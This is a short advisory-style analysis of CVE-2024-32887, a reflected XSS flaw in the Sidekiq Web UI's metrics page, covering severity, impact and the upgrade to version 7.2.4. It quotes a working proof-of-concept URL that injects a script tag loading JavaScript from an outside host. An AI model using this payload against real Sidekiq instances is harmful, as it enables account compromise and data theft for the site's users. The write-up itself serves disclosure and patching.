CVE-2024-32887: 
Ruby vulnerability analysis and mitigation

Sidekiq, a Ruby background processing library, contains a reflected Cross-site Scripting (XSS) vulnerability identified as CVE-2024-32887. The vulnerability was discovered in the metrics.erb view of the Sidekiq Web UI, where the substr parameter is reflected in the response without proper encoding. This vulnerability was patched in version 7.2.4, affecting versions from 7.2.0 (GitHub Advisory).

The vulnerability exists due to improper encoding of the substr parameter in the metrics.erb view of the Sidekiq Web UI. When this parameter is processed, its value is reflected directly in the response without any sanitization or encoding, allowing attackers to inject malicious JavaScript code. The vulnerability has been assigned a CVSS v3.1 base score of 5.5 (Medium) with the vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L, indicating network accessibility with low attack complexity, requiring low privileges and user interaction (GitHub Advisory).

The vulnerability's impact can be significant, particularly affecting users of the Sidekiq Web UI and potentially users of other applications deployed on the same domain. Successful exploitation could lead to account compromise, forced user actions, sensitive data theft, CORS attacks, and web application defacement. The scope of compromise becomes broader when other applications are deployed on the same domain as Sidekiq (GitHub Advisory).

The vulnerability can be exploited by crafting a specific URL with malicious JavaScript code in the substr parameter. A proof of concept demonstrates that visiting a URL with a crafted payload like https://{host}/sidekiq/metrics?substr=beret"><script src="https://cheemahq.vercel.app/a.js" /></script> can trigger the XSS payload execution (GitHub Advisory).

The vulnerability has been fixed in Sidekiq version 7.2.4. The recommended mitigation is to upgrade to this patched version. The fix involves properly encoding all output data before rendering it in the response to prevent XSS attacks (GitHub Advisory).